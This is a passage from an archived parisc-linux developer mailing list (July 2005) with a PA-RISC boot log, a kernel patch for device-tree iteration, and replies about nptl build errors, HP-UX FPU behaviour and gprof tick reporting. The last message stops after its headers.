12. Merlin L2+ 180 (9000/778/B180L) at 0xfffbe000 [62] { 0, 0x0, 0x504, 0x00004 }
13. Memory at 0xfffbf000 [63] { 1, 0x0, 0x05a, 0x00009 }
14. Dino PCI Bridge at 0xfff80000 [0] { 13, 0x2, 0x680, 0x0000a }
15. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
CPU(s): 1 x PA7300LC (PCX-L2) at 180.000000 MHz
Setting cache flush threshold to d00 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino version 3.0 found at 0xfff80000
The GSCtoPCI (Dino hrev 2) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

SCSI subsystem initialized
unwind_init: start = 0x103cb110, end = 0x103eeea0, entries = 9177
inotify syscall
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
PDC Stable Storage facility v0.09
Soft power switch enabled, polling @ 0xf0140000.
STI GSC/PCI core graphics driver Version 0.9a
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_1024
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, INTERNAL_EG_1024, id: 2d08c0a7, mmio: 0xf8100000
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
Serial: device 0xffd05000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
Serial: device 0xfff83000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
Serial: device 0xffd05000 not configured.
Enable support for Wax, Lasi, Asp or Dino.
IRQ not found for parallel device at 0xffd02000
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
loop: loaded (max 8 devices)
PPP generic driver version 2.4.2
Linux Tulip driver version 1.1.13 (December 15, 2004)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/DS21143 Tulip rev 48 at 80000080, 00:60:B0:18:61:D0, IRQ 17.
sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 16
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.1
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:6: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
 target0:0:6: asynchronous.
 target0:0:6: wide asynchronous.
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
lasi700: request_irq failed!
st: Version 20050501, fixed bufsize 32768, s/g segs 256
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 < sda5 sda6 sda7 >
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
aoe: aoe_init: AoE v2.6-10 initialised.
mice: PS/2 mouse device common for all mice
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   206.400 MB/sec
   8regs_prefetch:   204.800 MB/sec
   32regs    :   232.800 MB/sec
   32regs_prefetch:   323.200 MB/sec
raid5: using function: 32regs_prefetch (323.200 MB/sec)
raid6: int32x1     66 MB/s
raid6: int32x2     83 MB/s
raid6: int32x4     98 MB/s
raid6: int32x8     72 MB/s
raid6: using algorithm int32x4 (98 MB/s)
md: raid6 personality registered as nr 8
md: md driver 0.90.2 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 3.38
NET: Registered protocol family 2
IP route cache hash table entries: 4096 (order: 2, 16384 bytes)
TCP established hash table entries: 16384 (order: 5, 131072 bytes)
TCP bind hash table entries: 16384 (order: 4, 65536 bytes)
TCP: Hash tables configured (established 16384 bind 16384)
TCP reno registered
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 588k freed
Warning: unable to open an initial console.
Adding 184708k swap on /dev/sda6.  Priority:-1 extents:1
EXT3 FS on sda5, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda7, internal journal
EXT3-fs: mounted filesystem with ordered data mode.

--jRHKVT23PllUwdXP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=d

Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/drivers.c,v
retrieving revision 1.24
diff -u -r1.24 drivers.c
--- arch/parisc/kernel/drivers.c	19 Jul 2005 03:49:49 -0000	1.24
+++ arch/parisc/kernel/drivers.c	26 Jul 2005 22:47:12 -0000
@@ -470,10 +470,11 @@
 	struct match_id_data d = {
 		.id = id,
 	};
-	int ret;
 
-	ret = for_each_padev(match_by_id, &d);
-	return ret ? create_tree_node(id, parent) : NULL;
+	if (device_for_each_child(parent, &d, match_by_id))
+		return d.dev;
+	else
+		return create_tree_node(id, parent);
 }
 
 static struct parisc_device *create_parisc_device(struct hardware_path *modpath)
Index: drivers/parisc/gsc.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/gsc.c,v
retrieving revision 1.21
diff -u -r1.21 gsc.c
--- drivers/parisc/gsc.c	23 Jan 2005 00:09:47 -0000	1.21
+++ drivers/parisc/gsc.c	26 Jul 2005 22:47:21 -0000
@@ -186,9 +186,13 @@
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 			void (*choose_irq)(struct parisc_device *, void *))
 {
+	extern struct device * next_device(struct klist_iter * i);
+
 	struct device *dev;
+	struct klist_iter i;
 
-	list_for_each_entry(dev, &parent->dev.children, node) {
+	klist_iter_init(&parent->dev.klist_children, &i);
+	while ((dev = next_device(&i))) {
 		struct parisc_device *padev = to_parisc_device(dev);
 
 		/* work-around for 715/64 and others which have parent 
@@ -197,6 +201,7 @@
 			return gsc_fixup_irqs(padev, ctrl, choose_irq);
 		choose_irq(padev, ctrl);
 	}
+	klist_iter_exit(&i);
 }
 
 int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic)

--jRHKVT23PllUwdXP
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--jRHKVT23PllUwdXP--



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: nptl build failures (so close!)
Date: Wed, 27 Jul 2005 12:51:44 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20050727165144.GO9703@systemhalted.org>
References: <20050726194540.GG9703@systemhalted.org>
	<200507262110.j6QLA9kx011081@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623866 15832 80.91.229.3 (22 Nov 2014 02:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jul 2005 16:52:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 27 Jul 2005 18:52:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 515467D6DF;
	Wed, 27 Jul 2005 10:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02000-07; Wed, 27 Jul 2005 10:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4A897D6E3;
	Wed, 27 Jul 2005 10:51:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 378177D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Jul 2005 10:51:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01934-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Jul 2005 10:51:53 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C8B017D698
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Jul 2005 10:51:52 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dxp8D-0007dh-00; Wed, 27 Jul 2005 12:51:45 -0400
Content-Disposition: inline
In-Reply-To: <200507262110.j6QLA9kx011081@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mN6VYg0reSEkXb6WZHQhaXN1IGRvb0DX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22977

On Tue, Jul 26, 2005 at 05:10:09PM -0400, John David Anglin wrote:
> > I tried to debug a weird header file include problem in the nptl headers
> > last night, but to no avail. It looks like gcc was reordering the includes
> > and "lll_lock_t" wasn't included. This time around "ERANGE" is missing, but 
> > if I trace the headers by hand it should have been included.
> 
> Have you looked at the -E output?  Also, add -dM to see macro defines.

Ah thanks, I always forget about the -dM to see those cursed macros that
are probably my issue.

The TLS headers are tricky to say the least and more confusing due to
the defines that enable and disable various "Standards."

I'm sure GCC has it's fair share of these problems.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Mon, 25 Jul 2005 11:57:36 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <IK6H00$910131208EE75A1A8B3FE51EFCB8D16A@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623867 15835 80.91.229.3 (22 Nov 2014 02:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:47 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2005 09:58:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 25 Jul 2005 11:58:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59BE07D6CD;
	Mon, 25 Jul 2005 03:58:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10048-01; Mon, 25 Jul 2005 03:57:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E0CA7D6C3;
	Mon, 25 Jul 2005 03:57:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 721DD7D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Jul 2005 03:57:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09807-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Jul 2005 03:57:51 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 88DF37D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 25 Jul 2005 03:57:50 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by xizor.is.scarlet.be  with ESMTP id j6P9vaK03703; 
	Mon, 25 Jul 2005 11:57:36 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +NKWYg1jeSEkU76WZHQhaXN1IGRvb0CG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22978

> On Sat, Jul 23, 2005 at 09:39:34AM +0000, Joel Soete wrote:
> > >I'm not sure it's a very good idea posting bits of the HP-UX
> > >kernel on a publicly archived mailing list. I imagine the disassembl=
y's
> > >legal status is questionable... 
> >
> > Yes I hesitate but finaly though that reverse engineering is legal (s=
ee the 
> > famous samba project ;-) )?
> 
> samba didn't disassemble a copy of the binary.
> They reverse engineered the "on wire" protocol as captured by tcpdump.
> 
(mmm is boomerang <http://boomerang.sourceforge.net/> a more relevant exa=
mple
:-? )
That said, my worry was not much the way reverse engineering was realised=
 then
reverse-engineering by itself: is it or not legal?
 
> Dumping raw dissassembly isn't interesting.
More over ;-)(absolutely agree with you)

Anyway may I come back shortly to the original object of this thread:
"PA 2.0 float conversion to unsigned long long"

I reach to reproduce the pb clearly decribe by jda and with the help of g=
db I
observed not only a difference of results between p-l and hpux-11.00 but =
also
a noticable difference of behaviour in fpsr.

The differences make me ask if "fpu is configurable?"

On irc Carlos put me another question on the fpu mode which make me disco=
ver
in parisc2.0.pdf ("PA-RISC 2.0 Architecture Floating-Point Instruction Se=
t
9-9") a documented way to (at least) indentify pfu.

Btw I discover:
    o this chunk wasn't implemented in p-l but well hpux-11.00 (32 and 64=
bit).

    o hpux (11-.00) has also a label which make thought
      that fpu have actualy to be initialized

    o this thread
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018852=
.html>
      (my grasp of this code is not yet complete sorry: 
            when/where fpregs[] was setup? ...)

Are we missing something?

> If it is legal in your country to analyze the behaviors, I'm
> really only interested in the analysis.
> 
(In a help desk, I read this joke: ... for miracle we ask you a delay of =
24h :-)

Thanks again,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Sun, 24 Jul 2005 18:09:19 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20050725000919.GA18659@colo.lackof.org>
References: <1122036994.10454.131.camel@thor.tres.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623867 15837 80.91.229.3 (22 Nov 2014 02:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tres Melton <tres@mindspring.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2005 00:04:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 25 Jul 2005 02:04:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A85567D710;
	Sun, 24 Jul 2005 18:04:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06651-09; Sun, 24 Jul 2005 18:04:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BE507D717;
	Sun, 24 Jul 2005 18:04:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6DBD7D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 18:04:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07688-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 18:04:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 66EF87D70B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Jul 2005 18:04:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9D3B8360065;
	Sun, 24 Jul 2005 18:09:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26260-04; Sun, 24 Jul 2005 18:09:20 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EC11A360064; Sun, 24 Jul 2005 18:09:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1122036994.10454.131.camel@thor.tres.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wUmWYvcseSEker6WZHQhaXN1IGRvb0Be
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22979

On Fri, Jul 22, 2005 at 06:56:34AM -0600, Tres Melton wrote:
> | Here's "apps/openssl speed rsa" gprof output from my c3000.
> | (2.6.0-pa7, Debian testing)
> |  
> | TBH, it looks wrong.
> 
> It is wrong.  For details please see:
> 
> http://bugs.gentoo.org/show_bug.cgi?id=90090

Ugh. user space vs kernel space HZ battles.

> 	If you have any more information on the subject

Sorry - I really don't.
I'm happy to run more tests on kernel patches if that would help.

>  I would appreciate it
> as a number of us are preparing to take this issue to the LKML.  I'm
> specifically looking at a convincing reason to put forth to Linus to
> export the correct clock-ticks/second.  Linus has stated in the past
> that user space has no need for the information.  A couple of other
> kernel devs are going to back me up here but we need a good argument to
> get Linus to change his mind.

I'm certainly not the one who has a solid grasp of the problem.
I just recognized the output looked wrong.

Another kernel developer has suggested this is a gprof bug.
I was told the kernel has two types of ticks: one for kernel and another
for users space - some conversation needs to take place by gprof
that I know nothing about.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Tue, 26 Jul 2005 07:24:02 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <20050726132402.GA32722@colo.lackof.org>
References: <1122036994.10454.131.camel@thor.tres.org>
	<20050725000919.GA18659@colo.lackof.org>
	<1122272788.10644.71.camel@thor.tres.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623867 15839 80.91.229.3 (22 Nov 2014 02:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tres Melton <tres@mindspring.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2005 13:19:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 26 Jul 2005 15:19:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7DD97D695;
	Tue, 26 Jul 2005 07:19:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20679-04; Tue, 26 Jul 2005 07:19:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8285E7D68F;
	Tue, 26 Jul 2005 07:19:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 219727D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 07:19:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20679-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 07:19:09 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 90F017D655
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Jul 2005 07:19:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2ED72360064;
	Tue, 26 Jul 2005 07:24:04 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32009-08; Tue, 26 Jul 2005 07:24:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C9C9C360055; Tue, 26 Jul 2005 07:24:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1122272788.10644.71.camel@thor.tres.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
